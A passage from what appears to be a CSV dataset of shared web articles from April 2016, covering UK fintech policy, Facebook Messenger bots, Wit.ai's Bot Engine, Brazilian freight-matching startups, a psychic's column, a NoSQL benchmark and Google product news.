Treasury, indicated UK's openness and welcoming of fintech innovation not only by announcing new measures, but also by the words she chose. Describing currencies such as Bitcoin and Ethereum as ""digital currencies"", Baldwin assured attendees that this was just the start of a ""beautiful friendship"". Announcing an industry-led fintech panel, the addition of ""digital experts"" criteria to the Visa Scheme, an information hub to facilitate ""practical and cost-effective"" access to professional services and ""fintech bridges"" to help UK businesses expand internationally, building on a first of its kind agreement with the Australian counterpart to streamline regulatory access to each other's market, Baldwin went further. More measures to come ""We will be announcing other ways we can help you help UK consumers."" - she stated. Thus, expect even more measures in what seems to be a complete embrace of fintech, including digital currencies like Bitcoin and Ethereum, and not only a partnership , but a "" beautiful friendship "". The United Kingdom is widely recognized as the most welcoming regulatory environment for Fintech companies. George Osborn, the Chancellor of the Exchequer, signaled UK's embrace of Bitcoin and Fintech in 2014 by buying a bitcoin through an ATM , making him the highest ranking government official in the world to have publicly used bitcoin. At the time, a number of measures were announced, including the incorporation of a Payment Systems Regulator tasked with ensuring, among other things, access to banking facilities. The decision to not only embrace, but champion fintech, may turn out to be one of the most astute in a century. US overhaul ahead US Regulators have noticed and many are now loudly calling for an overhaul of the complex and outdated US regulations to account for 21stcentury innovations, including a scrapping of the draconian double taxation by IRS and the disastrous bitlicense . Beginning with CFTC's commissioner who stated that blockchain tech could have prevented Lehman's collapse, more and more have asked for a more welcoming regulatory environment, seemingly culminating in a whitepaper asking for recommendations by the Office of the Comptroller of the Currency (OCC), the independent department charged with overseeing banks and hailed by some as the appropriate body to usher in a new, more welcoming, regulatory approach towards Fintech. The United States however has a more complex regulatory environment with numerous regulatory bodies and overlapping responsibilities as well as different states with different requirements. It is not clear whether US regulators will be able to move quickly, considering that UK has just upped a gear, but, undoubtedly, the whole world is paying great attention to UK's numerousinnovative measures and their championing of Fintech.",en
1460549731,CONTENT SHARED,-4615575698508618335,-1032019229384696495,-6165125069895538182,,,,HTML,http://mashable.com/2016/04/12/facebook-bots-analysis/,Facebook Messenger bots are here and they want to kill apps,"As predicted , developers can now build bots inside Facebook Messenger. The announcement was one of the highlights of Facebook's jam-packed F8 schedule and it further proves what many have been predicting for a long time, bots are the future. Right now, the bots that are available are more limited - and the discovery process isn't perfect - but it's clear now, more than ever, that bots make a lot of sense. Beyond that, Messenger's bot strategy speaks to a few realities of modern computing and communication. Don't make me talk to you on the phone Like many millenials , I don't spend a lot of time on the phone. I talk to sources and companies for my job, but most of my personal communication takes place through text (or if I'm feeling especially outgoing, Snapchat). With text, I can maintain a number of conversations at once - and I can reply asynchronously. Increasingly, when I do get on the phone - and it's not for work - I find myself talking to customer service agents, where the experience often leaves a lot to be desired. In his keynote demonstration of Messenger bots, Facebook CEO Mark Zuckerberg pointed out the perks of using the 1-800-Flowers bot to order flowers, as opposed to actually having to speak to a florist to arrange a delivery. Now, this wasn't actually true because the website kept telling me I had to call the bank - but the point remains that many of the reasons I would call a bank (like to check a balance or to confirm the validity of a transaction) are things that can be done through bots. And that's why I'm happy that my bank, Bank of America, is going to have its own Messenger bot. Maybe next time I buy an iPad I can confirm the purchase there, rather than having to call in. This is one of the services Zendesk and Salesforce are counting on. The customer service-focused companies plan to link bot functionality with their existing backends. That opens up potential down the line for custom interactions - provided of course, users respond to bots the way Facebook and other companies think they will. Apps aren't dead, but app fatigue is real As Mashable App Reporter Karissa Bell astutely pointed out , one of the solutions Facebook seems to be trying to solve with its new bot platform is the issue of app fatigue and app engagement. Apps aren't dead, but app fatigue is a very real thing. The problem many companies face today is actually getting users to download and install their app. What (I think) Marcus is getting at is app fatigue is real and ppl (read: millenials) hate phone calls so bots are the next best option #F8 - Karissa Bell (@karissabe) April 12, 2016 And Facebook understands that. Don't get me wrong, apps themselves aren't going away, but apps don't have the appeal they once did - for developers or users. 'There's an app for that' is still true, but installing apps can be a pain Apple's mantra of ""there's an app for that"" is still true, but it's also true that fewer users want to go through the hassle of installing your app. Users don't want to install an app and for developers, even getting users to find or discover their app can be a nightmare. Standing out amongst millions of apps is difficult and it isn't getting any easier. For years, Facebook has worked to make its core app work better with other apps - but you still had to have those apps installed. Bots change that paradigm. To use the Poncho weatherbot, I don't need to have the Poncho iOS app installed. The same is true for the various commerce bots. In this way, at least right now, the barrier to entry of actually engaging with those services is now lower than it has ever been. For commerce brands - who have struggled to get users to use their apps - this could help make the experience more seamless. A seamless experience is usually also a more engaged experience, and Facebook lives and dies on engagement. I can't help but see Tuesday's announcement's as Facebook trying to push developers away from standalone mobile apps and toward building bots. Of course, it's important to understand that even if Facebook is trying to kill the app metaphor, developers still need to build an app - or at least, the backend of an app. Like an app, a bot has backend services that call certain functions and can lead to other calls. It may not be as advanced as a standalone app and its UI and UX are different, but this is still an app. It's just that the logic is running remotely on the cloud and not locally on a phone. Security and spam concerns Companies are quick to jump on the bot train in hopes of building greater engagement with users. Of course, users might not always want that engagement. During F8, Facebook's VP of Messaging Products David Marcus was quick to point out that there is block functionality built into the product - so that you can shut off a bot that becomes annoying. But it's not clear what - if anything - Facebook will do to discourage bots from behaving in a way that is overly intrusive or annoying. In an interview with Mashable 's Bell at F8, Messenger Director of Product Management Peter Martinazzi said that ""we want to make sure you're really in control of what interactions are happening."" Of course, a secondary concern to spam is security. A secondary concern to spam is security Facebook itself may protect the information you give it, but there is always a risk with opening a platform to other parties. How those parties use that information is something users have to be cognizant of. It would be a nightmare scenario for Facebook to have bots appear that phished information from users or scammed them in other ways. Martinazzi said Facebook has ""a lot of [security] policies"" in place for bots and that those policies are ""one of the main reasons [bots] are rolling out slowly right now."" He says that the reason this is starting as a beta is because ""we want to make sure we have the best ways to enforce violations as they come up."" That's also one of the reasons that right now, the process of actually using a Messenger bot is more user-driven. Users have to initiate interactions with a business. That's all well and good, but we still have questions about how Facebook will enforce data retention and treatment policies amongst its developers. Plus, even though users have to initiate threads with bots now, that won't always be the case. The promise of bots is that they can interact with us, too. If I always have to open up a separate chat to engage with a bot, I might as well just open up an app. I understand the need to keep things separate in the beginning, but eventually, this will change. Facebook needs to make sure it has the right tools and policies in place to protect its users. Right now, developers who build for the platform are vetted - though Facebook wouldn't tell us exactly how that works. There is a trade-off between getting as many developers to build for your platform as possible and making sure that the bots they build aren't violating any policies. We're early in this process and I don't want to caution users against engaging with bots but I do think that security is a topic that needs more discussion. I also think Facebook needs to be very clear with its policies about what kind of behavior will be banned. Security is a topic that needs more discussion. Because nothing will kill a bot revolution faster than all bots turning into spam. Will anyone use this? I'm excited about bots. I think they can change and automate the way things are done. The customer service implications are obvious - but I also see bots as a new language for building new kinds of apps. That said, there an unanswered question: Do users actually want to engage this way? The trick with bots is to make the experience serendipitous and useful. If I have to ask a bot too many questions or phrase things in a certain way to get an expected result, I might as well just open an app or my web browser and perform the task the old-fashioned way. But the promise of bots - that paired with natural language processing and AI - is that the a-ha experience I get with Amazon Alexa will be visible in my favorite chat app. I, for one, welcome our new bot overlords . Karissa Bell contributed to this article. Have something to add to this story? Share it in the comments.",en
1460552209,CONTENT SHARED,-271938775771328391,9109075639526981934,-270246306735565375,,,,HTML,"http://www.em.com.br/app/noticia/especiais/bigideia/bigideia-noticia/2016/04/08/bigideia,751323/startups-apostam-em-aplicativos-que-auxilia-caminhoneiros-na-busca-por.shtml",Startups apostam em aplicativos que conectam fretes e caminhoneiros,"Cresce o número de startups que estão apostando em softwares de gerenciamento de logística para facilitar o dia a dia de um setor que sofre com a falta de mão de obra. De aplicativos que auxiliam caminhoneiros na busca por fretes a ferramentas que permitem o acompanhamento da carga em tempo real, essas iniciativas estão revolucionando a relação entre as transportadoras e motoristas, na medida em que otimizam tempo e reduzem custos. Até o fim do ano, a startup Polifrete (foto), que auxilia caminhoneiros na busca por trabalho, estima um crescimento de 300% este ano no número de fretes publicados em seu app. ""Somente no primeiro trimestre de 2016, o crescimento foi de 150%, acima da meta esperada"", disse Bruno Gregório, idealizador da plataforma. Atualmente, há 10 mil caminhoneiros cadastrados e 300 transportoras. A startup surgiu a partir de um problema verificado pelo empreendedor: muitos motoristas levam uma mercadoria ao seu destino e voltam com o veículo vazio, pois não conseguem carga onde estão. ""Por um lado as transportadoras relatam que há necessidade de 100 mil motoristas para resolver o problema de fretes no Brasil. Por outro, motoristas ficam dois, três dias em uma cidade procurando um frete e não encontram"", disse Gregório. O cadastro no site é de graça para os caminhoneiros. Já as empresas pagam uma mensalidade de R$ 89. Porém, essa taxa é cobrada para as empresas que fazem uso das soluções. Para o analista de negócios do Serviço de Apoio às Micro e Pequenas Empresas de Minas Gerais (Sebrae-MG), Fabiano Alves, essas ferramentas chegam para atender um mercado em aberto, otimizando processos em um marketplace que une duas pontas: a de quem precisa e a de quem oferta. ""Para as empresas, o app garante maior agilidade no transporte de seus produtos. Para os autônomos, evita perda de tempo e dinheiro ao aguardar uma carga"", disse. Pioneiro na criação deste tipo de serviço no Brasil, o executivo Carlos Alberto Mira, CEO e Fundador do TruckPad (foto) ressalta que a tecnologia de ponta aumentou em até 40% os ganhos dos caminhoneiros, além de melhorar a qualidade de vida. Disponível para Android, o aplicativo foi lançado em 2013 e oferece ao caminhoneiro autônomo um serviço gratuito que o ajuda a localizar seu próximo frete ou carga. Para as empresa de transportes, o TruckPad oferece uma solução via web onde é possível localizar os caminhoneiros através de geo-localização e contratá-los pela internet. ""Antes, um profissional ficava mais de 24 horas esperando uma nova carga para voltar para casa"", disse o empreendedor, que até o início de abril contava com 400 mil caminhoneiros cadastrados e mais de 8 mil empresas, o que gera mais de R$ 1,5 bilhão em fretes oferecidos pela plataforma mensalmente, num total de 500 mil ofertas por mês. Tempo real Também aproveitando o nicho deste novo mercado, a startup InTouch Solution lançou recentemente o InTouch-POD, aplicação mobile capaz de planejar, rastrear e documentar, em tempo real, o status atual de cargas ou malotes desde a origem até o destino. ""O nosso foco são os pequenos e médios distribuidores que não têm acesso a tecnologia de ponta"", resume José Antonio Mazzoni, um dos fundadores da startup. O custo do serviço varia de R$ 70 a R$ 150 por condutor, de acordo com o número de funções. O executivo explica que toda a parte de eventos (problema mecânico, acidente, desvio de rota, entre outros) é enviada para o sistema. A aplicação elimina também os custos de ligação telefônica entre o condutor e a base, valendo-se de um canal de comunicação exclusivo semelhante ao WhatsApp. Mazzoni lembra que o investimento surge na esteira de um setor pouco afetado pela crise econômica. ""Pode haver uma retração em função da queda de produção, mas a distribuição sempre vai existir"", concluiu.",pt
1460554787,CONTENT SHARED,4761910285123871012,-1032019229384696495,-6165125069895538182,,,,HTML,https://wit.ai/blog/2016/04/12/bot-engine?hn,Bot Engine,"Today we are releasing the first step of our vision for conversational bots: an early beta of Bot Engine. Since we joined Facebook 15 months ago, the Wit community grew from 6,000 to 21,500 developers. Many of you are already making bots, leveraging Wit to parse messages into structured, actionable data. We are also building Facebook M , your personal assistant in Messenger. We've learned a lot in the process. Making a bot seems easy until you try. And then, the curse of combinatorics bites you. Understanding the user intent is a necessary step, but that's not enough. How should the bot respond? What actions should it perform? What question should it ask? This is the problem we are trying to help solve with Bot Engine. Here is how: Key concept 1: Stories To make a bot, there are two schools: rules or machine learning. (Everybody claims rules are bad and their bot is powered by AI, but when you really look under the hood, the core is often imperative.) Machine learning is of course more desirable, but the problem is the training dataset. Training a Wit intent with a dozen examples works well, and it's easy to leverage the community to get more examples. But in order to entirely learn the business logic of a bot of medium complexity, we would need many, many thousands of example conversations. Rules (or any kind of imperative approach, including plain script/program) are kind of the opposite. The good thing with rules is, you can have a demo working after you write two rules. As long as you follow the script carefully, your bot will work and your audience will be impressed. But as you discover new ""paths"" in the dialog, you'll add more and more rules, until one day everything collapses. You're doomed by the curse of combinatorics. Any new rule conflicts with old rules that you totally forgot the reason for. Your bot cannot improve anymore. Bot Engine is trained with Stories. Stories are example conversations. On top of user's and bot's messages, Stories also contain the bot actions: When you create your bot, you just start with a few stories that describe the most probable conversations paths. At this stage, Bot Engine will build a machine learning model that deliberately overfits the stories dataset. Practically, it means that stories will behave almost like rules. It enables you to start beta testing your bot and collect conversations. You will then turn these conversations into new stories (exactly like you turn logs into new expressions in the original Wit). The more stories you have, the better the model becomes. Unlike rules, Stories can ignore each other; when you discover a new use case, you can add a new story without the need to take into account all previous stories. With this approach, we are trying to get the best of both worlds: rules when you get started and don't have much data, and AI once your dataset grows. Key concept 2: Action Trained by Stories, Bot Engine predicts the next action your bot may execute at each step of the conversation. This action is executed on your side, with your code. We've made this decision because we believe that developers need total freedom of platform and execution scope for their bot's actions. You should be able to use any programming language of your choice and call any API you need. That wouldn't be practical if actions were executed on our side. An action typically modifies the context of the conversation. You pass the new context to Bot Engine when you need to predict the next action. Actions also help relieve the pressure on the machine learning model: they encapsulate some business logic that would require a huge dataset to learn end-to-end. It enables Wit to train efficient models before you have hundreds of Stories. Key concept 3: Inbox In line with the original Wit philosophy , we think that you really discover your users' expectations and logic only after you release a first version of your bot. As a result, the initial build should be as lightweight as possible, and the platform optimized around continuous learning and improvement based on actual usage. In Bot Engine, we are extending the concept of the Wit Inbox to the conversation logs: we will provide an easy way to turn logs into new Stories. This is the learning loop. Each time you add a new Story, your bot's models are rebuilt in real time. We are trying to solve a very hard problem, and we are not pretending that we have the definitive solution. There are many kinds of bots, and many different ways to address the problem. This is an early beta: our hope is that you won't hesitate to contact us when you are trying to do something that doesn't seem to be well handled. We are committed to spend a significant amount of time supporting the community and learning more about the problem. While at first glance it may look easier to just use scripts, AIML, or slot-based workflow templates to build bots, we believe that these approaches soon lead to bottlenecks. Bot Engine might not be as easy as putting a few rules together in a basic bot, but it's designed to handle scaling complexity with simplicity ( special dedication to our hero Rich Hickey ), as additional stories don't need to comply with a complex net of existing rules. Some of us at Wit have been building bots for 15 years. We've tried many things that don't work, and we're still looking for what could work. Please give Bot Engine a try , and give us your feedback! Alex Lebrun & Team Wit Note: If you already have a Wit app - First of all, thanks! We are thrilled to continue to serve you. - Your existing app will continue to work as before. The /message API is unchanged. - You won't have the Stories tab in your existing app. We'll add a migration process very soon. - If you create a new app, you'll get the Stories tab. You will also notice a change in the Console: we've merged the concepts of intents and entities under an Understanding tab, and slightly updated the training UX . Follow @WitNL",en
1460556273,CONTENT SHARED,-8099709040471107382,6003902177042843076,8652994095219541250,,,,HTML,"http://vidaeestilo.terra.com.br/horoscopo/esoterico/vidente-reflete-sobre-os-desafios-contemporaneos,7757dad70df63b562e97b7b8f5c4db48rk4m1u25.html",Vidente reflete sobre os desafios contemporâneos,"Como vidente, aprendo todo dia a separar os dois polos da vida: o material e o espiritual. São dois sistemas diferentes; mais do que isso, antagônicos. Um modelo bipolar que se desdobra em formas divergentes de busca do eu. Se há um bom número de pessoas procurando a felicidade nas vitrines de cristal dos shoppings; há também quem se consagre a outros desafios, pelas sendas místicas e esotéricas, com interesse na religiosidade e nas sabedorias antigas, lutando pelo auto aperfeiçoamento. Ao contrário da concepção materialista, essas atitudes espirituais estão voltadas para a busca de equilíbrio interior, harmonização, expansão e aprofundamento da consciência. O fundamental não é tanto possuir o mundo, mas mudar o eu, despertar potências interiores inexploradas, encontrar nova forma de viver que reconcilie o indivíduo consigo mesmo. A prioridade ao ter é superada pela do ser. Uma divisão profunda e radical se expressa em opostas buscas de sentido, quadro de valores essenciais, escolhas que iluminem e justifiquem as oportunidades cármicas. Para quem abraça a trajetória de desalienação do mercantil, a tarefa é imensa. Serenidade e paz dependem de se despojar da individualidade, libertar dos vãos apetites. A felicidade depende do desabrochar da harmonia tanto consigo quanto com o cosmo, uma primazia da experiência interior que ensina a não aceitar falsas promessas e não acreditar na ilusão das posses. Como a espiritualidade depende do ""dom recebido"", de um misterioso despertar, uma transformação singular, não se pode considerar a multiplicação perpétua dos bens materiais como principal vocação do homem. A mercadoria, mesmo efêmera, é cativante. Vencê-la (e às suas ilusões) não é tarefa simples. Quem poderá dizer quanto tempo será necessário para que a consciência espiritual se levante por completo, se afirme vitoriosa nessa disputa que tanto atraso vem trazendo à nossa evolução. Quer saber mais sobre o trabalho de Marina Gold ou entrar em contato com ela, clique aqui .",pt
1460556291,CONTENT REMOVED,-8099709040471107382,6003902177042843076,8652994095219541250,,,,HTML,"http://vidaeestilo.terra.com.br/horoscopo/esoterico/vidente-reflete-sobre-os-desafios-contemporaneos,7757dad70df63b562e97b7b8f5c4db48rk4m1u25.html",Vidente reflete sobre os desafios contemporâneos,"Como vidente, aprendo todo dia a separar os dois polos da vida: o material e o espiritual. São dois sistemas diferentes; mais do que isso, antagônicos. Um modelo bipolar que se desdobra em formas divergentes de busca do eu. Se há um bom número de pessoas procurando a felicidade nas vitrines de cristal dos shoppings; há também quem se consagre a outros desafios, pelas sendas místicas e esotéricas, com interesse na religiosidade e nas sabedorias antigas, lutando pelo auto aperfeiçoamento. Ao contrário da concepção materialista, essas atitudes espirituais estão voltadas para a busca de equilíbrio interior, harmonização, expansão e aprofundamento da consciência. O fundamental não é tanto possuir o mundo, mas mudar o eu, despertar potências interiores inexploradas, encontrar nova forma de viver que reconcilie o indivíduo consigo mesmo. A prioridade ao ter é superada pela do ser. Uma divisão profunda e radical se expressa em opostas buscas de sentido, quadro de valores essenciais, escolhas que iluminem e justifiquem as oportunidades cármicas. Para quem abraça a trajetória de desalienação do mercantil, a tarefa é imensa. Serenidade e paz dependem de se despojar da individualidade, libertar dos vãos apetites. A felicidade depende do desabrochar da harmonia tanto consigo quanto com o cosmo, uma primazia da experiência interior que ensina a não aceitar falsas promessas e não acreditar na ilusão das posses. Como a espiritualidade depende do ""dom recebido"", de um misterioso despertar, uma transformação singular, não se pode considerar a multiplicação perpétua dos bens materiais como principal vocação do homem. A mercadoria, mesmo efêmera, é cativante. Vencê-la (e às suas ilusões) não é tarefa simples. Quem poderá dizer quanto tempo será necessário para que a consciência espiritual se levante por completo, se afirme vitoriosa nessa disputa que tanto atraso vem trazendo à nossa evolução. Quer saber mais sobre o trabalho de Marina Gold ou entrar em contato com ela, clique aqui .",pt
1460556333,CONTENT SHARED,-1861959619649725543,6003902177042843076,8652994095219541250,,,,HTML,"http://vidaeestilo.terra.com.br/horoscopo/esoterico/vidente-reflete-sobre-os-desafios-contemporaneos,7757dad70df63b562e97b7b8f5c4db48rk4m1u25.html",Vidente reflete sobre os desafios contemporâneos,"Como vidente, aprendo todo dia a separar os dois polos da vida: o material e o espiritual. São dois sistemas diferentes; mais do que isso, antagônicos. Um modelo bipolar que se desdobra em formas divergentes de busca do eu. Se há um bom número de pessoas procurando a felicidade nas vitrines de cristal dos shoppings; há também quem se consagre a outros desafios, pelas sendas místicas e esotéricas, com interesse na religiosidade e nas sabedorias antigas, lutando pelo auto aperfeiçoamento. Ao contrário da concepção materialista, essas atitudes espirituais estão voltadas para a busca de equilíbrio interior, harmonização, expansão e aprofundamento da consciência. O fundamental não é tanto possuir o mundo, mas mudar o eu, despertar potências interiores inexploradas, encontrar nova forma de viver que reconcilie o indivíduo consigo mesmo. A prioridade ao ter é superada pela do ser. Uma divisão profunda e radical se expressa em opostas buscas de sentido, quadro de valores essenciais, escolhas que iluminem e justifiquem as oportunidades cármicas. Para quem abraça a trajetória de desalienação do mercantil, a tarefa é imensa. Serenidade e paz dependem de se despojar da individualidade, libertar dos vãos apetites. A felicidade depende do desabrochar da harmonia tanto consigo quanto com o cosmo, uma primazia da experiência interior que ensina a não aceitar falsas promessas e não acreditar na ilusão das posses. Como a espiritualidade depende do ""dom recebido"", de um misterioso despertar, uma transformação singular, não se pode considerar a multiplicação perpétua dos bens materiais como principal vocação do homem. A mercadoria, mesmo efêmera, é cativante. Vencê-la (e às suas ilusões) não é tarefa simples. Quem poderá dizer quanto tempo será necessário para que a consciência espiritual se levante por completo, se afirme vitoriosa nessa disputa que tanto atraso vem trazendo à nossa evolução. Quer saber mais sobre o trabalho de Marina Gold ou entrar em contato com ela, clique aqui .",pt
1460556380,CONTENT REMOVED,-1861959619649725543,6003902177042843076,8652994095219541250,,,,HTML,"http://vidaeestilo.terra.com.br/horoscopo/esoterico/vidente-reflete-sobre-os-desafios-contemporaneos,7757dad70df63b562e97b7b8f5c4db48rk4m1u25.html",Vidente reflete sobre os desafios contemporâneos,"Como vidente, aprendo todo dia a separar os dois polos da vida: o material e o espiritual. São dois sistemas diferentes; mais do que isso, antagônicos. Um modelo bipolar que se desdobra em formas divergentes de busca do eu. Se há um bom número de pessoas procurando a felicidade nas vitrines de cristal dos shoppings; há também quem se consagre a outros desafios, pelas sendas místicas e esotéricas, com interesse na religiosidade e nas sabedorias antigas, lutando pelo auto aperfeiçoamento. Ao contrário da concepção materialista, essas atitudes espirituais estão voltadas para a busca de equilíbrio interior, harmonização, expansão e aprofundamento da consciência. O fundamental não é tanto possuir o mundo, mas mudar o eu, despertar potências interiores inexploradas, encontrar nova forma de viver que reconcilie o indivíduo consigo mesmo. A prioridade ao ter é superada pela do ser. Uma divisão profunda e radical se expressa em opostas buscas de sentido, quadro de valores essenciais, escolhas que iluminem e justifiquem as oportunidades cármicas. Para quem abraça a trajetória de desalienação do mercantil, a tarefa é imensa. Serenidade e paz dependem de se despojar da individualidade, libertar dos vãos apetites. A felicidade depende do desabrochar da harmonia tanto consigo quanto com o cosmo, uma primazia da experiência interior que ensina a não aceitar falsas promessas e não acreditar na ilusão das posses. Como a espiritualidade depende do ""dom recebido"", de um misterioso despertar, uma transformação singular, não se pode considerar a multiplicação perpétua dos bens materiais como principal vocação do homem. A mercadoria, mesmo efêmera, é cativante. Vencê-la (e às suas ilusões) não é tarefa simples. Quem poderá dizer quanto tempo será necessário para que a consciência espiritual se levante por completo, se afirme vitoriosa nessa disputa que tanto atraso vem trazendo à nossa evolução. Quer saber mais sobre o trabalho de Marina Gold ou entrar em contato com ela, clique aqui .",pt
1460557433,CONTENT SHARED,1507299850679912107,-6527231059484292598,-8391663214987069774,,,,HTML,http://www.datastax.com/nosql-databases/benchmarks-cassandra-vs-mongodb-vs-Hbase,NoSQL Performance Benchmarks,"Benchmarking NoSQL Databases: Cassandra vs. MongoDB vs. HBase vs. Couchbase Understanding the performance behavior of a NoSQL database like Apache Cassandra ™ under various conditions is critical. Conducting a formal proof of concept (POC) in the environment in which the database will run is the best way to evaluate platforms. POC processes that include the right benchmarks such as production configurations, parameters and anticipated data and concurrent user workloads give both IT and business stakeholders powerful insight about platforms under consideration and a view for how business applications will perform in production. Independent benchmark analyses and testing of various NoSQL platforms under big data, production-level workloads have been performed over the years and have consistently identified Apache Cassandra as the platform of choice for businesses interested in adopting NoSQL as the database for modern Web, mobile and IOT applications. One benchmark analysis ( Solving Big Data Challenges for Enterprise Application Performance Management ) by engineers at the University of Toronto, which in evaluating six different data stores, found Apache Cassandra the ""clear winner throughout our experiments"". Also, End Point Corporation, a database and open source consulting company, benchmarked the top NoSQL databases including: Apache Cassandra, Apache HBase, Couchbase, and MongoDB using a variety of different workloads on AWS EC2. The databases involved were: Apache Cassandra : Highly scalable, high performance distributed database designed to handle large amounts of data across many commodity servers, providing high availability with no single point of failure. Apache HBase: Open source, non-relational, distributed database modeled after Google's BigTable and is written in Java. It is developed as part of Apache Software Foundation's Apache Hadoop project and runs on top of HDFS (Hadoop Distributed File System), providing BigTable-like capabilities for Hadoop. MongoDB : Cross-platform document-oriented database system that eschews the traditional table-based relational database structure in favor of JSON-like documents with dynamic schemas making the integration of data in certain types of applications easier and faster. Couchbase : Distributed NoSQL document-oriented database that is optimized for interactive applications. End Point conducted the benchmark of these NoSQL database options on Amazon Web Services EC2 instances, which is an industry-standard platform for hosting horizontally scalable services. In order to minimize the effect of AWS CPU and I/O variability, End Point performed each test 3 times on 3 different days. New EC2 instances were used for each test run to further reduce the impact of any ""lame instance"" or ""noisy neighbor"" effects sometimes experienced in cloud environments, on any one test. NoSQL Database Performance Testing Results When it comes to performance, it should be noted that there is (to date) no single ""winner takes all"" among the top NoSQL databases or any other NoSQL engine for that matter. Depending on the use case and deployment conditions, it is almost always possible for one NoSQL database to outperform another and yet lag its competitor when the rules of engagement change. Here are a couple snapshots of the performance benchmark to give you a sense of how each NoSQL database stacks up. Throughput by Workload Each workload appears below with the throughput/operations-per-second (more is better) graphed vertically, the number of nodes used for the workload displayed horizontally, and a table with the result numbers following each graph. Load process For load, Couchbase, HBase, and MongoDB all had to be configured for non-durable writes to complete in a reasonable amount of time, with Cassandra being the only database performing durable write operations. Therefore, the numbers below for Couchbase, HBase, and MongoDB represent non-durable write metrics. Mixed Operational and Analytical Workload Note that Couchbase was eliminated from this test because it does not support scan operations (producing the error: ""Range scan is not supported""). For a comprehensive analysis, please download the complete report: Benchmarking Top NoSQL Databases . NoSQL Database Performance Conclusion These performance metrics are just a few of the many that have solidified Apache Cassandra as the NoSQL database of choice for businesses needing a modern, distributed database for their Web, mobile and IOT applications. Each database option (Cassandra, HBase, Couchbase and MongoDB) will certainly shine in particular use cases, so it's important to test your specific use cases to ensure your selected database meets your performance SLA. Whether you are primarily concerned with throughput or latency, or more interested in the architectural benefits such as having no single point of failure or being able to have elastic scalability across multiple data centers and the cloud, much of an application's success comes down to its ability to deliver the response times Web, mobile and IOT customers expect. As the benchmarks referenced here showcase, Cassandra's reputation for fast write and read performance, and delivering true linear scale performance in a masterless, scale-out design, bests its top NoSQL database rivals in many use cases.",en
1460561984,CONTENT SHARED,5189433264884433830,-1387464358334758758,693116333100403613,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/04/create-goals-in-google-calendar-mobile.html,Introducing Goals in Google Calendar on Android and iPhone,"Calendars should help users make the most of their time. That's why starting today, we're introducing a new feature called Goals in Google Calendar on Android and iPhone to help users find time for personal activities. With Goals, users can add a goal and Calendar will help them find the time and stick to these goals. Goals are easy to set up To set a goal (like ""Work out more""), a user must simply answer a few questions (like ""How often?"" and ""Best time?""). From there Calendar will look at the user's schedule and find the best windows to pencil in time for that goal. Goals created in Google Calendar will have the same privacy setting as the default calendar setting. Goals adjust to your busy life Goals aren't easy-especially when the unexpected comes up-but Calendar can help adjust in a number of important ways. For example, Calendar will automatically reschedule if a user adds another event that's a direct conflict with a goal. Users can also defer a goal at any time, and Calendar will make time for it later. Finally, Calendar actually gets better at scheduling the more it is used-if a goal is deferred or edited then Calendar will choose even better times in the future. To get started, users can download the Google Calendar app on Android or iPhone , and set their first goal. Please note: Currently, events created through Goals does not take into account secondary calendars or other personal calendars synced to the device. Launch Details Release track: Launching to both Rapid and Scheduled release Rollout pace: Full rollout (1-3 days for feature visibility) Action: Change management suggested/FYI More Information Help Center: Goals Help Center: FAQ Get the latest Google Calendar Android app on Google Play Get the latest Google Calendar iPhone app in the App Store Note: all launches are applicable to all Google Apps editions unless otherwise noted Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1460565349,CONTENT SHARED,6984066580750577207,-1443636648652872475,-7298018010644449122,,,,HTML,http://techcrunch.com/2016/04/12/google-calendar-goals/,Google Calendar's newest feature uses machine learning to help you actually accomplish your goals,"Google Calendar has launched a new feature called Goals that uses machine learning to help you figure out when you have time to pencil in stuff like spending time with your family or exercise. The feature is now available for Calendar's Android and iOS apps. Goals are set up by clicking into a category (which currently include Exercise, ""Build a Skill,"" and ""Me Time,"" though they can also be customized) and selecting a specific activity. Then Calendar will automatically find open slots, fill them in with your goal, and send reminders. If you schedule something else during those times, Google Calendar will find another window for your goal-but, in a tool that will surely be chronically abused by procrastinators, they can also be deferred. Goal's machine intelligence, however, will attempt to keep up, finding better time slots for your goal until you can no longer avoid it. For people wondering why on earth someone would need a machine learning algorithm that reminds them to take care of themselves, talk to loved ones, or otherwise have some semblance of a personal life, Goals' purpose is not very different from many other personal productivity apps designed to help people create healthy habits. The advantage of Goals, of course, is that it sits on top of a tool that many people have already relied on for years. Google Calendar turns 10 this year and is marking its anniversary by adding new features like a to-do tracker called Reminders that will help it compete against other time-management apps. Goals may eventually become available on the web, but a Google rep said there's no specific timeframe current planned (it took Reminders about five months to make it into Calendar's browser version). Featured Image: Justamen / Shutterstock",en
1460565739,CONTENT SHARED,-2181071289972835602,-1443636648652872475,-7298018010644449122,,,,HTML,http://www.networkworld.com/article/3055195/cloud-computing/google-cozies-up-with-openstack.html,Google cloud to OpenStack users: Come on in!,"Open source cloud computing platform OpenStack has a new semi-annual version of its code out this month and one symbolically important aspect is a deepened partnership with Google's public cloud. + MORE AT NETWORK WORLD : Status check on OpenStack: The open source cloud has arrived | Why Google hasn't taken off in the cloud yet + In a blog post , Google announced that the Mitaka release of OpenStack includes a native option to backup OpenStack Cinder storage volumes to its public cloud. Cinder Backups to Google cloud OpenStack's block storage service is named Cinder, which houses virtual machine data and data at rest; most organizations deem this important enough data to backup. OpenStack provides a native backup driver that allows Cinder to be backed up to various storage platforms. Google has now integrated its public cloud as a native backup option for Cinder. Why it's important The move further differentiates Google's IaaS public cloud from Amazon Web Services and Microsoft Azure when it comes to supporting OpenStack. Google joined the OpenStack Foundation last year and has been working on integrating its open source container manager named Kubernetes into OpenStack. Now, in the Mitaka release of OpenStack (the 13 th version of the open source code) Google is integrating its standard public cloud storage, as well as its less-expensive Nearline storage service. Google sees OpenStack private cloud users as potential public cloud customers. AWS and Azure have much more tepid relations with OpenStack. This isn't the first partnership Google has made with a major private cloud platform. Late last year Google and VMware teamed up to announce a strategic partnership that allows VMware on-premises management tools to integrate with Google's Cloud Platform. Google seems willing to support private cloud platforms that build onramps to its public cloud. Austin Calling Google's news comes just weeks before the OpenStack community is meeting in Austin for its annual domestic summit. Expect more news from big-name vendors as the event gets closer and open source cloud fanatics return to the city where OpenStack was born.",en
